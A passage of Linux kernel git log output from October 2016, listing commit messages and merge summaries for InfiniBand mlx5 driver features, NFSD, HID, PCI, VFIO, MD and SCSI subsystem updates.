&ib_nl_timed_work. It has been identity converted. WQ_MEM_RECLAIM has been set to ensure forward progress under memory pressure. Signed-off-by: Bhaktipriya Shridhar Signed-off-by: Doug Ledford drivers/infiniband/core/sa_query.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 13eab21f92de21f324fd6afe1aeca310446b8731 Author: Aviv Heller Date: Sun Sep 18 20:48:04 2016 +0300 IB/mlx5: LAG QP load balancing When LAG is active, QP tx affinity (the physical port to which a QP is affined, or the TIS in case of raw-eth) is set in a round robin fashion during state transition from RESET to INIT. Signed-off-by: Aviv Heller Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/mlx5_ib.h | 1 + drivers/infiniband/hw/mlx5/qp.c | 63 +++++++++++++++++++++++++++++++++--- 2 files changed, 59 insertions(+), 5 deletions(-) commit 4babcf97c551dc57a9b7149ef1f72511b5e97332 Author: Aviv Heller Date: Sun Sep 18 20:48:03 2016 +0300 IB/mlx5: Set unique device name on LAG IB bond device name is now 'mlx5_bond_X', instead of 'mlx5_X'. Signed-off-by: Aviv Heller Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) commit 88621dfe90677a6a07ae1aff9feb1773226bc8b0 Author: Aviv Heller Date: Sun Sep 18 20:48:02 2016 +0300 IB/mlx5: Port status track LAG master, when LAG is active When LAG is active, port up/down events should be triggered by tracking the LAG master, and not one of the two slave netdevs. In the same manner, ib_query_port() should return the details of the LAG master. Signed-off-by: Aviv Heller Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 31 ++++++++++++++++++++++++++++--- 1 file changed, 28 insertions(+), 3 deletions(-) commit 9ef9c640f4c5376189d8ca70f51a50a3d0b16914 Author: Aviv Heller Date: Sun Sep 18 20:48:01 2016 +0300 IB/mlx5: Merge vports flow steering during LAG This is done in two steps: 1) Issuing CREATE_VPORT_LAG in order to have Ethernet traffic from both ports arriving on PF0 root flowtable, so we will be able to catch all raw-eth traffic on PF0. 2) Creation of LAG demux flowtable in order to direct all non-raw-eth traffic back to its source port, assuring that normal Ethernet traffic "jumps" to the root flowtable of its RX port (non-LAG behavior). Signed-off-by: Aviv Heller Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 49 ++++++++++++++++++++++++++++++++++++ drivers/infiniband/hw/mlx5/mlx5_ib.h | 1 + 2 files changed, 50 insertions(+) commit 5ec8c83e3ad3ea4ea78798edcd4ad61e0041a174 Author: Aviv Heller Date: Sun Sep 18 20:48:00 2016 +0300 IB/mlx5: Port events in RoCE now rely on netdev events Since ib_query_port() in RoCE returns the state of its netdev as the port state, it makes sense to propagate the port up/down events to ib_core when the netdev port state changes, instead of relying on traditional core events. This also keeps both the event and ib_query_port() synchronized. Signed-off-by: Aviv Heller Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 66 ++++++++++++++++++++++++++++++--------- 1 file changed, 51 insertions(+), 15 deletions(-) commit 350d0e4c7e4b03ed5646ac39ba4aac98bb3d9c56 Author: Yishai Hadas Date: Sun Aug 28 14:58:18 2016 +0300 IB/mlx5: Track asynchronous events on a receive work queue Track asynchronous events on a receive work queue by using the mlx5_core_create_rq_tracked API. In case a fatal error has occurred letting the IB layer know about by using the ib_wq event handler. Signed-off-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/mlx5_ib.h | 7 ++++++- drivers/infiniband/hw/mlx5/qp.c | 34 +++++++++++++++++++++++++++++----- 2 files changed, 35 insertions(+), 6 deletions(-) commit 466fa6d2e36408f697f9ff766f82003ef424bad1 Author: Maor Gottlieb Date: Tue Aug 30 16:58:36 2016 +0300 IB/mlx5: Add support of more IPv6 fields to flow steering Add support to receive Traffic Class, specific IPv6 protocol or IPv6 flow label. Signed-off-by: Maor Gottlieb Reviewed-by: Sagi Grimberg Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 56 +++++++++++++++++++++++++++++++-------- 1 file changed, 45 insertions(+), 11 deletions(-) commit ca0d47538528be18cbf45e3cce09862ddf37a3cf Author: Maor Gottlieb Date: Tue Aug 30 16:58:35 2016 +0300 IB/mlx5: Add support in TOS and protocol to flow steering Add support to receive TOS or specific IPv4 protocol. Signed-off-by: Maor Gottlieb Reviewed-by: Sagi Grimberg Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit a72c6a2b0e699fcbcf679b881d5af2683228ae98 Author: Maor Gottlieb Date: Tue Aug 30 16:58:34 2016 +0300 IB/core: Add more fields to IPv6 flow specification Add the following fields to IPv6 flow filter specification: 1. Traffic Class 2. Flow Label 3. Next Header 4. Hop Limit Signed-off-by: Maor Gottlieb Reviewed-by: Sagi Grimberg Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/uverbs_cmd.c | 4 ++++ include/rdma/ib_verbs.h | 4 ++++ include/uapi/rdma/ib_user_verbs.h | 9 +++++++-- 3 files changed, 15 insertions(+), 2 deletions(-) commit 989a3a8f91ba02f71b84ecde3b948388d8bf2200 Author: Maor Gottlieb Date: Tue Aug 30 16:58:33 2016 +0300 IB/uverbs: Add more fields to IPv4 flow specification Add the following fields to IPv4 flow filter specification: 1. Type of Service 2. Time to Live 3. Flags 4. Protocol Signed-off-by: Maor Gottlieb Reviewed-by: Sagi Grimberg Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford include/rdma/ib_verbs.h | 11 +++++++++++ include/uapi/rdma/ib_user_verbs.h | 4 ++++ 2 files changed, 15 insertions(+) commit 15dfbd6b4f058571f41be5b7917465dab2ff55da Author: Maor Gottlieb Date: Tue Aug 30 16:58:32 2016 +0300 IB/uverbs: Add support to extend flow steering specifications Flow steering specifications structures were implemented as in an extensible way that allows one to add new filters and new fields to existing filters. These specifications have never been extended, therefore the kernel flow specifications size and the user flow specifications size were must to be equal. In downstream patch, the IPv4 flow specifications type is extended to support TOS and TTL fields. To support an extension we change the flow specifications size condition test to be as following: * If the user flow specifications is bigger than the kernel specifications, we verify that all the bits which not in the kernel specifications are zeros and the flow is added only with the kernel specifications fields. * Otherwise, we add flow rule only with the user specifications fields. User space filters must be aligned with 32bits. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/uverbs_cmd.c | 98 +++++++++++++++++++++++++++--------- include/rdma/ib_verbs.h | 10 ++++ 2 files changed, 83 insertions(+), 25 deletions(-) commit c47ac6aee6df4dc17460f56dd66af0a271e8392c Author: Maor Gottlieb Date: Tue Aug 30 16:58:31 2016 +0300 IB/mlx5: Add validation to flow specifications parsing Add validation check that all set fields in flow specification are supported by vendor. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 36 ++++++++++++++++++++++++++---------- 1 file changed, 26 insertions(+), 10 deletions(-) commit 1f02a09c38043f1c003ddbd144b6da7f269d0ca1 Author: Maor Gottlieb Date: Tue Aug 30 16:58:30 2016 +0300 IB/mlx4: Add validation to flow specifications parsing Add validation check that all set fields in flow specification are supported by vendor. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx4/main.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit cc0e5d42351de1f9233738697718d0eed4396536 Author: Maor Gottlieb Date: Sun Aug 28 14:16:34 2016 +0300 IB/mlx5: Add sniffer support to steering Add support to create sniffer rule. This rule receive all incoming and outgoing packets from the port. A user could create such rule by using IB_FLOW_ATTR_SNIFFER type. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 74 +++++++++++++++++++++++++++++++++++- drivers/infiniband/hw/mlx5/mlx5_ib.h | 2 + 2 files changed, 74 insertions(+), 2 deletions(-) commit d9d4980af21df94f527caeecd35bfa4bafe38c9c Author: Maor Gottlieb Date: Sun Aug 28 14:16:33 2016 +0300 IB/mlx5: Increase flow table reference count in create rule Move the reference count increasing of flow table to be in create_flow_rule, it will increase the reference count for each rule creation and not for each flow. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit dd063d0e6c78b53090a7b3593b0fe40e449b404a Author: Maor Gottlieb Date: Sun Aug 28 14:16:32 2016 +0300 IB/mlx5: Fix coverity warning Fix covertiy warning of passing "&flow_attr" to function "create_flow_rule" which uses it as an array. In addition pass flow attributes argument as const. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 5497adc63213e2b9b27c23e42a33e259d59bfe28 Author: Maor Gottlieb Date: Sun Aug 28 14:16:31 2016 +0300 IB/mlx5: Save flow table priority handler instead of index Saving the flow table priority object's pointer in the flow handle is necessary for downstream patches since the sniffer flow table isn't placed at the standard flow_db structure but in a different database. Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 4 ++-- drivers/infiniband/hw/mlx5/mlx5_ib.h | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 7055a29471eebf4b62687944694222635ed44b09 Author: Maor Gottlieb Date: Sun Aug 28 14:16:30 2016 +0300 IB/mlx5: Fix steering resource leak Fix multicast flow rule leak on adding unicast rule failure. Fixes: 038d2ef87572 ('IB/mlx5: Add flow steering support') Signed-off-by: Maor Gottlieb Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 1 + 1 file changed, 1 insertion(+) commit eb49ab0c5f3d8e5efb696f100978bf966ecf6be3 Author: Alex Vesker Date: Sun Aug 28 12:25:53 2016 +0300 IB/mlx5: Add port counter support for raw packet QP Counters weren't updated due to raw packet QPs' traffic since the counter-id was not associated with the QP. Added support for associating the q-counter-id with the raw packet QP. The attachment is done only when changing RQ raw packet QP state from RST to INIT in modify-RQ command. FW support is required for the above, without this support raw packet QP counters will not count. Signed-off-by: Alex Vesker Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/qp.c | 40 ++++++++++++++++++++++++++++++++-------- 1 file changed, 32 insertions(+), 8 deletions(-) commit 0680efa21478f7b3e775bf4253c615538cef2ebf Author: Alex Vesker Date: Sun Aug 28 12:25:52 2016 +0300 IB/mlx5: Refactor raw packet QP modify function Added a struct for modifying raw QP, this will allow modifying multiple parameters in raw packet QP RQ and can also be used for SQ in the future. Signed-off-by: Alex Vesker Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/qp.c | 28 ++++++++++++++++++++-------- 1 file changed, 20 insertions(+), 8 deletions(-) commit 31f69a82b456e3ae9b5572961b4cc4ec971e9dc7 Author: Yishai Hadas Date: Sun Aug 28 11:28:45 2016 +0300 IB/mlx5: Expose RSS related capabilities Expose RSS related capabilities on both IB and vendor channels. In addition to the IB capabilities the driver reports some extra capabilities on its vendor channel: - Bit mask of the supported types of hash functions. - Bit mask of the supported RX fields that can participate in the RX hashing. Those capabilities are applicable only when the link layer is Ethernet. Signed-off-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/hw/mlx5/main.c | 31 +++++++++++++++++++++++++++++++ drivers/infiniband/hw/mlx5/user.h | 7 +++++++ 2 files changed, 38 insertions(+) commit 47adf2f4f5805d075359fe6cbe3437612f7d4a34 Author: Yishai Hadas Date: Sun Aug 28 11:28:44 2016 +0300 IB/uverbs: Expose RSS related capabilities Query RSS related attributes and return them to user-space via the extended query device uverbs command. It includes both direct ones (i.e. struct ib_uverbs_rss_caps) and max_wq_type_rq which may be used in both RSS and non RSS flows. Signed-off-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford drivers/infiniband/core/uverbs_cmd.c | 17 +++++++++++++++++ include/uapi/rdma/ib_user_verbs.h | 14 ++++++++++++++ 2 files changed, 31 insertions(+) commit ccf20562601d2b911787ffa730ad96bb78269a9c Author: Yishai Hadas Date: Sun Aug 28 11:28:43 2016 +0300 IB/core: Expose RSS related capabilities Expose RSS related capabilities, it includes both direct ones (i.e. struct ib_rss_caps) and max_wq_type_rq which may be used in both RSS and non RSS flows. Specifically, supported_qpts: - QP types that support RSS on the device. max_rwq_indirection_tables: - Max number of receive work queue indirection tables that could be opened on the device. max_rwq_indirection_table_size: - Max size of a receive work queue indirection table. max_wq_type_rq: - Max number of work queues of receive type that could be opened on the device. Signed-off-by: Yishai Hadas Signed-off-by: Leon Romanovsky Signed-off-by: Doug Ledford include/rdma/ib_verbs.h | 12 ++++++++++++ 1 file changed, 12 insertions(+) commit 35d04077ad96ed33ceea2501f5a4f1eacda77218 Author: Guenter Roeck Date: Fri Oct 7 10:40:59 2016 -0700 metag: Only define atomic_dec_if_positive conditionally The definition of atomic_dec_if_positive() assumes that atomic_sub_if_positive() exists, which is only the case if metag specific atomics are used. This results in the following build error when trying to build metag1_defconfig. kernel/ucount.c: In function 'dec_ucount': kernel/ucount.c:211: error: implicit declaration of function 'atomic_sub_if_positive' Moving the definition of atomic_dec_if_positive() into the metag conditional code fixes the problem. Fixes: 6006c0d8ce94 ("metag: Atomics, locks and bitops") Signed-off-by: Guenter Roeck Signed-off-by: James Hogan Cc: # 3.9.x- arch/metag/include/asm/atomic.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 2ab704a47e0f27df758840a589aec3298dbb98dd Merge: ddc4e6d d282b9c Author: Linus Torvalds Date: Fri Oct 7 12:24:08 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/trivial Pull trivial updates from Jiri Kosina: "The usual rocket science from the trivial tree" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/trivial: tracing/syscalls: fix multiline in error message text lib/Kconfig.debug: fix DEBUG_SECTION_MISMATCH description doc: vfs: fix fadvise() sycall name x86/entry: spell EBX register correctly in documentation securityfs: fix securityfs_create_dir comment irq: Fix typo in tracepoint.xml commit ddc4e6d232d6b625a5686ec1aafe42b9e0109a4c Merge: bc75450 2992ef2 Author: Linus Torvalds Date: Fri Oct 7 12:02:24 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/livepatching Pull livepatching updates from Jiri Kosina: - fix for patching modules that contain .altinstructions or .parainstructions sections, from Jessica Yu - make TAINT_LIVEPATCH a per-module flag (so that it's immediately clear which module caused the taint), from Josh Poimboeuf * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/livepatching: livepatch/module: make TAINT_LIVEPATCH module-specific Documentation: livepatch: add section about arch-specific code livepatch/x86: apply alternatives and paravirt patches after relocations livepatch: use arch_klp_init_object_loaded() to finish arch-specific tasks commit bc75450cc3db3485db1e289fef8c1028ba38296a Merge: e6e3d8f 179023e Author: Linus Torvalds Date: Fri Oct 7 11:58:38 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid Pull HID updates from Jiri Kosina: - Integrated Sensor Hub support (Cherrytrail+) from Srinivas Pandruvada - Big cleanup of Wacom driver; namely it's now using devres, and the standardized LED API so that libinput doesn't need to have root access any more, with substantial amount of other cleanups piggy-backing on top. All this from Benjamin Tissoires - Report descriptor parsing would now ignore and out-of-range System controls in case of the application actually being System Control. This fixes quite some issues with several devices, and allows us to remove a few ->report_fixup callbacks. From Benjamin Tissoires - ... a lot of other assorted small fixes and device ID additions * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid: (76 commits) HID: add missing \n to end of dev_warn messages HID: alps: fix multitouch cursor issue HID: hid-logitech: Documentation updates/corrections HID: hid-logitech: Improve Wingman Formula Force GP support HID: hid-logitech: Rewrite of descriptor for all DF wheels HID: hid-logitech: Compute combined pedals value HID: hid-logitech: Add combined pedal support Logitech wheels HID: hid-logitech: Introduce control for combined pedals feature HID: sony: Update copyright and add Dualshock 4 rate control note HID: sony: Defer the initial USB Sixaxis output report HID: sony: Relax duplicate checking for USB-only devices Revert "HID: microsoft: fix invalid rdesc for 3k kbd" HID: alps: fix error return code in alps_input_configured() HID: alps: fix stick device not working after resume HID: support for keyboard - Corsair STRAFE HID: alps: Fix memory leak HID: uclogic: Add support for UC-Logic TWHA60 v3 HID: uclogic: Override constant descriptors HID: uclogic: Support UGTizer GP0610 partially HID: uclogic: Add support for several more tablets ... commit 29ae7f9dc21a7dda41d78b27bbda7d427ece8ad4 Author: Anna Schumaker Date: Wed Sep 7 15:57:30 2016 -0400 NFSD: Implement the COPY call I only implemented the sync version of this call, since it's the easiest. I can simply call vfs_copy_range() and have the vfs do the right thing for the filesystem being exported. Signed-off-by: Anna Schumaker Signed-off-by: J. Bruce Fields fs/nfsd/nfs4proc.c | 90 +++++++++++++++++++++++++++++++++++++++++++++++------- fs/nfsd/nfs4xdr.c | 63 ++++++++++++++++++++++++++++++++++++-- fs/nfsd/vfs.c | 16 ++++++++++ fs/nfsd/vfs.h | 2 ++ fs/nfsd/xdr4.h | 23 ++++++++++++++ 5 files changed, 181 insertions(+), 13 deletions(-) commit 42e616167abb7e4074cfba3a2ca19fa2aba40048 Author: J. Bruce Fields Date: Tue Oct 4 13:57:43 2016 -0400 nfsd: handle EUCLEAN Eric Sandeen reports that xfs can return this if filesystem corruption prevented completing the operation. Reported-by: Eric Sandeen Signed-off-by: J. Bruce Fields fs/nfsd/nfsproc.c | 1 + 1 file changed, 1 insertion(+) commit ff30f08c32f932272f9bd4c1caca824ffc939346 Author: J. Bruce Fields Date: Tue Oct 4 12:53:49 2016 -0400 nfsd: only WARN once on unmapped errors No need to spam the logs here. The only drawback is losing information if we ever encounter two different unmapped errors, but in practice we've rarely see even one. Signed-off-by: J. Bruce Fields fs/nfsd/nfsproc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit e6e3d8f8f4f06caf25004c749bb2ba84f18c7d39 Merge: fbbea38 bdf5309 Author: Linus Torvalds Date: Fri Oct 7 11:46:37 2016 -0700 Merge tag 'pci-v4.9-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci Pull PCI updates from Bjorn Helgaas: "Summary of PCI changes for the v4.9 merge window: Enumeration: - microblaze: Add multidomain support for procfs (Bharat Kumar Gogada) Resource management: - Ignore requested alignment for PROBE_ONLY and fixed resources (Yongji Xie) - Ignore requested alignment for VF BARs (Yongji Xie) PCI device hotplug: - Make core explicitly non-modular (Paul Gortmaker) PCIe native device hotplug: - Rename pcie_isr() locals for clarity (Bjorn Helgaas) - Return IRQ_NONE when we can't read interrupt status (Bjorn Helgaas) - Remove unnecessary guard (Bjorn Helgaas) - Clean up dmesg "Slot(%s)" messages (Bjorn Helgaas) - Remove useless pciehp_get_latch_status() calls (Bjorn Helgaas) - Clear attention LED on device add (Keith Busch) - Allow exclusive userspace control of indicators (Keith Busch) - Process all hotplug events before looking for new ones (Mayurkumar Patel) - Don't re-read Slot Status when queuing hotplug event (Mayurkumar Patel) - Don't re-read Slot Status when handling surprise event (Mayurkumar Patel) - Make explicitly non-modular (Paul Gortmaker) Power management: - Afford direct-complete to devices with non-standard PM (Lukas Wunner) - Query platform firmware for device power state (Lukas Wunner) - Recognize D3cold in pci_update_current_state() (Lukas Wunner) - Avoid unnecessary resume after direct-complete (Lukas Wunner) - Make explicitly non-modular (Paul Gortmaker) Virtualization: - Mark Atheros AR9580 to avoid bus reset (Maik Broemme) - Check for pci_setup_device() failure in pci_iov_add_virtfn() (Po Liu) MSI: - Enable PCI_MSI_IRQ_DOMAIN support for ARC (Joao Pinto) AER: - Remove aerdriver.nosourceid kernel parameter (Bjorn Helgaas) - Remove aerdriver.forceload kernel parameter (Bjorn Helgaas) - Fix aer_probe() kernel-doc comment (Cao jin) - Add bus flag to skip source ID matching (Jon Derrick) - Avoid memory allocation in interrupt handling path (Jon Derrick) - Cache capability position (Keith Busch) - Make explicitly non-modular (Paul Gortmaker) - Remove duplicate AER severity translation (Tyler Baicar) - Send correct severity to calculate AER severity (Tyler Baicar) Precision Time Measurement: - Add Precision Time Measurement (PTM) support (Jonathan Yong) - Add PTM clock granularity information (Bjorn Helgaas) - Add pci_enable_ptm() for drivers to enable PTM on endpoints (Bjorn Helgaas) Generic host bridge driver: - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) - Make explicitly non-modular (Paul Gortmaker) Altera host bridge driver: - Remove redundant platform_get_resource() return value check (Bjorn Helgaas) - Poll for link training status after retraining the link (Ley Foon Tan) - Rework config accessors for use without a struct pci_bus (Ley Foon Tan) - Move retrain from fixup to altera_pcie_host_init() (Ley Foon Tan) - Make MSI explicitly non-modular (Paul Gortmaker) - Make explicitly non-modular (Paul Gortmaker) - Relax device number checking to allow SR-IOV (Po Liu) ARM Versatile host bridge driver: - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) Axis ARTPEC-6 host bridge driver: - Drop __init from artpec6_add_pcie_port() (Niklas Cassel) Freescale i.MX6 host bridge driver: - Make explicitly non-modular (Paul Gortmaker) Intel VMD host bridge driver: - Add quirk for AER to ignore source ID (Jon Derrick) - Allocate IRQ lists with correct MSI-X count (Jon Derrick) - Convert to use pci_alloc_irq_vectors() API (Jon Derrick) - Eliminate vmd_vector member from list type (Jon Derrick) - Eliminate index member from IRQ list (Jon Derrick) - Synchronize with RCU freeing MSI IRQ descs (Keith Busch) - Request userspace control of PCIe hotplug indicators (Keith Busch) - Move VMD driver to drivers/pci/host (Keith Busch) Marvell Aardvark host bridge driver: - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) - Remove redundant dev_err call in advk_pcie_probe() (Wei Yongjun) Microsoft Hyper-V host bridge driver: - Use zero-length array in struct pci_packet (Dexuan Cui) - Use pci_function_description[0] in struct definitions (Dexuan Cui) - Remove the unused 'wrk' in struct hv_pcibus_device (Dexuan Cui) - Handle vmbus_sendpacket() failure in hv_compose_msi_msg() (Dexuan Cui) - Handle hv_pci_generic_compl() error case (Dexuan Cui) - Use list_move_tail() instead of list_del() + list_add_tail() (Wei Yongjun) NVIDIA Tegra host bridge driver: - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) - Remove redundant _data suffix (Thierry Reding) - Use of_device_get_match_data() (Thierry Reding) Qualcomm host bridge driver: - Make explicitly non-modular (Paul Gortmaker) Renesas R-Car host bridge driver: - Consolidate register space lookup and ioremap (Bjorn Helgaas) - Don't disable/unprepare clocks on prepare/enable failure (Geert Uytterhoeven) - Add multi-MSI support (Grigory Kletsko) - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) - Fix some checkpatch warnings (Sergei Shtylyov) - Try increasing PCIe link speed to 5 GT/s at boot (Sergei Shtylyov) Rockchip host bridge driver: - Add DT bindings for Rockchip PCIe controller (Shawn Lin) - Add Rockchip PCIe controller support (Shawn Lin) - Improve the deassert sequence of four reset pins (Shawn Lin) - Fix wrong transmitted FTS count (Shawn Lin) - Increase the Max Credit update interval (Rajat Jain) Samsung Exynos host bridge driver: - Make explicitly non-modular (Paul Gortmaker) ST Microelectronics SPEAr13xx host bridge driver: - Make explicitly non-modular (Paul Gortmaker) Synopsys DesignWare host bridge driver: - Return data directly from dw_pcie_readl_rc() (Bjorn Helgaas) - Exchange viewport of `MEMORYs' and `CFGs/IOs' (Dong Bo) - Check LTSSM training bit before deciding link is up (Jisheng Zhang) - Move link wait definitions to .c file (Joao Pinto) - Wait for iATU enable (Joao Pinto) - Add iATU Unroll feature (Joao Pinto) - Fix pci_remap_iospace() failure path (Lorenzo Pieralisi) - Make explicitly non-modular (Paul Gortmaker) - Relax device number checking to allow SR-IOV (Po Liu) - Keep viewport fixed for IO transaction if num_viewport > 2 (Pratyush Anand) - Remove redundant platform_get_resource() return value check (Wei Yongjun) TI DRA7xx host bridge driver: - Make explicitly non-modular (Paul Gortmaker) TI Keystone host bridge driver: - Propagate request_irq() failure (Wei Yongjun) Xilinx AXI host bridge driver: - Keep both legacy and MSI interrupt domain references (Bharat Kumar Gogada) - Clear interrupt register for invalid interrupt (Bharat Kumar Gogada) - Clear correct MSI set bit (Bharat Kumar Gogada) - Dispose of MSI virtual IRQ (Bharat Kumar Gogada) - Make explicitly non-modular (Paul Gortmaker) - Relax device number checking to allow SR-IOV (Po Liu) Xilinx NWL host bridge driver: - Expand error logging (Bharat Kumar Gogada) - Enable all MSI interrupts using MSI mask (Bharat Kumar Gogada) - Make explicitly non-modular (Paul Gortmaker) Miscellaneous: - Drop CONFIG_KEXEC_CORE ifdeffery (Lukas Wunner) - portdrv: Make explicitly non-modular (Paul Gortmaker) - Make DPC explicitly non-modular (Paul Gortmaker)" * tag 'pci-v4.9-changes' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: (105 commits) x86/PCI: VMD: Move VMD driver to drivers/pci/host PCI: rockchip: Fix wrong transmitted FTS count PCI: rockchip: Improve the deassert sequence of four reset pins PCI: rockchip: Increase the Max Credit update interval PCI: rcar: Try increasing PCIe link speed to 5 GT/s at boot PCI/AER: Fix aer_probe() kernel-doc comment PCI: Ignore requested alignment for VF BARs PCI: Ignore requested alignment for PROBE_ONLY and fixed resources PCI: Avoid unnecessary resume after direct-complete PCI: Recognize D3cold in pci_update_current_state() PCI: Query platform firmware for device power state PCI: Afford direct-complete to devices with non-standard PM PCI/AER: Cache capability position PCI/AER: Avoid memory allocation in interrupt handling path x86/PCI: VMD: Request userspace control of PCIe hotplug indicators PCI: pciehp: Allow exclusive userspace control of indicators ACPI / APEI: Send correct severity to calculate AER severity PCI/AER: Remove duplicate AER severity translation x86/PCI: VMD: Synchronize with RCU freeing MSI IRQ descs x86/PCI: VMD: Eliminate index member from IRQ list ... commit fbbea3899014c1a569a8f9aa9f4b11be1d4926a3 Merge: c23112e 6177146 Author: Linus Torvalds Date: Fri Oct 7 11:31:29 2016 -0700 Merge tag 'vfio-v4.9-rc1' of git://github.com/awilliam/linux-vfio Pull VFIO updates from Alex Williamson: - comment fixes (Wei Jiangang) - static symbols (Baoyou Xie) - FLR virtualization (Alex Williamson) - catching INTx enabling after MSI/X teardown (Alex Williamson) - update to pci_alloc_irq_vectors helpers (Christoph Hellwig) * tag 'vfio-v4.9-rc1' of git://github.com/awilliam/linux-vfio: vfio_pci: use pci_alloc_irq_vectors vfio-pci: Disable INTx after MSI/X teardown vfio-pci: Virtualize PCIe & AF FLR vfio: platform: mark symbols static where possible vfio/pci: Fix typos in comments commit c23112e0395a89c8a52cd955442240de7fba46aa Merge: 4dfddf5 bb086a8 Author: Linus Torvalds Date: Fri Oct 7 09:45:43 2016 -0700 Merge tag 'md/4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/shli/md Pull MD updates from Shaohua Li: "This update includes: - new AVX512 instruction based raid6 gen/recovery algorithm - a couple of md-cluster related bug fixes - fix a potential deadlock - set nonrotational bit for raid array with SSD - set correct max_hw_sectors for raid5/6, which hopefuly can improve performance a little bit - other minor fixes" * tag 'md/4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/shli/md: md: set rotational bit raid6/test/test.c: bug fix: Specify aligned(alignment) attributes to the char arrays raid5: handle register_shrinker failure raid5: fix to detect failure of register_shrinker md: fix a potential deadlock md/bitmap: fix wrong cleanup raid5: allow arbitrary max_hw_sectors lib/raid6: Add AVX512 optimized xor_syndrome functions lib/raid6/test/Makefile: Add avx512 gen_syndrome and recovery functions lib/raid6: Add AVX512 optimized recovery functions lib/raid6: Add AVX512 optimized gen_syndrome functions md-cluster: make resync lock also could be interruptted md-cluster: introduce dlm_lock_sync_interruptible to fix tasks hang md-cluster: convert the completion to wait queue md-cluster: protect md_find_rdev_nr_rcu with rcu lock md-cluster: clean related infos of cluster md: changes for MD_STILL_CLOSED flag md-cluster: remove some unnecessary dlm_unlock_sync md-cluster: use FORCEUNLOCK in lockres_free md-cluster: call md_kick_rdev_from_array once ack failed commit 4dfddf503670d8def0fddb497e628130fc4522a8 Merge: d4e6547 14bf41d Author: Linus Torvalds Date: Fri Oct 7 09:28:53 2016 -0700 Merge tag 'scsi-misc' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi Pull SCSI updates from James Bottomley: "This update includes the usual round of major driver updates (hpsa, be2iscsi, hisi_sas, zfcp, cxlflash). There's a new incarnation of hpsa called smartpqi for which a driver is added, there's some cleanup work of the ibm vscsi target and updates to libfc, plus a whole host of minor fixes and updates and finally the removal of several ISA drivers which seem not to have been used for years" * tag 'scsi-misc' of git://git.kernel.org/pub/scm/linux/kernel/git/jejb/scsi: (173 commits) scsi: mvsas: Mark symbols static where possible scsi: pm8001: Mark symbols static where possible scsi: arcmsr: Simplify user_len checking scsi: fcoe: fix off by one in eth2fc_speed() scsi: dtc: remove from tree scsi: t128: remove from tree scsi: pas16: remove from tree scsi: u14-34f: remove from tree scsi: ultrastor: remove from tree scsi: in2000: remove from tree scsi: wd7000: remove from tree scsi: scsi_dh_alua: Fix memory leak in alua_rtpg() scsi: lpfc: Mark symbols static where possible scsi: hpsa: correct call to hpsa_do_reset scsi: ufs: Get a TM service response from the correct 